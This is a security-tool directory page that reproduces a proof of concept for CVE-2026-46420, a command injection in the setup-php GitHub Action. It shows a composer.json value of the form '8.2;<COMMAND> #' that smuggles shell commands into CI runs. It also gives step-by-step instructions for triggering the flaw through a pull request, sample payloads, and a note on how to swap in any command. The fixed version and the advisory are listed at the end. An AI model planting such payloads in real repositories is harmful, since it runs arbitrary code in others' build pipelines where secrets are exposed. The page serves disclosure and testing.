Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-46420 — PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution. | Kitploit
Tools/GitHubGitHub/jvr2022/cve-2026-46420
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlPayload Development
GitHubjvr2022/cve-2026-46420

CVE-2026-46420

PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution.

View Repository
1101 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-46420 PoC

Command injection in shivammathur/setup-php when the PHP version is loaded from repository controlled files.

Affected:

root@kitploit:~
>= 2.25.0, < 2.37.1

Fixed:

root@kitploit:~
>= 2.37.1

PoC

The target repository already has a vulnerable workflow that checks out pull request contents and runs [email protected].

The attacker only changes composer.json.

root@kitploit:~
-"php": "8.2"
+"php": [
+  "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]

When setup-php reads the PHP version from composer.json, the injected command is included in the generated shell script and executed.

Result:

root@kitploit:~
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc

Reproduce

Create a branch from the target repository:

root@kitploit:~
git checkout -b poc-test

Replace the clean composer.json with the PoC version:

root@kitploit:~
cp attacker/composer.json composer.json

Commit and push:

root@kitploit:~
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test

Open a pull request from poc-test to main.

The Actions run should show that demo-app/.env.example was modified during the setup-php step.

Changing the command

The payload format is:

root@kitploit:~
8.2;<COMMAND> #

Current payload:

root@kitploit:~
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #

The executed command is:

root@kitploit:~
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example

To change what the PoC does, replace the command between 8.2; and #.

Create a file:

root@kitploit:~
8.2;touch poc-executed #

Write to a file:

root@kitploit:~
8.2;printf 'poc executed\n' > poc-result.txt #

Print command output:

root@kitploit:~
8.2;id #

Example composer.json:

root@kitploit:~
{
  "config": {
    "platform": {
      "php": [
        "8.2;touch poc-executed #"
      ]
    }
  }
}

Fix

Upgrade to [email protected] or newer.

The same payload is rejected on the patched version.

References

https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r

https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b

Download Tool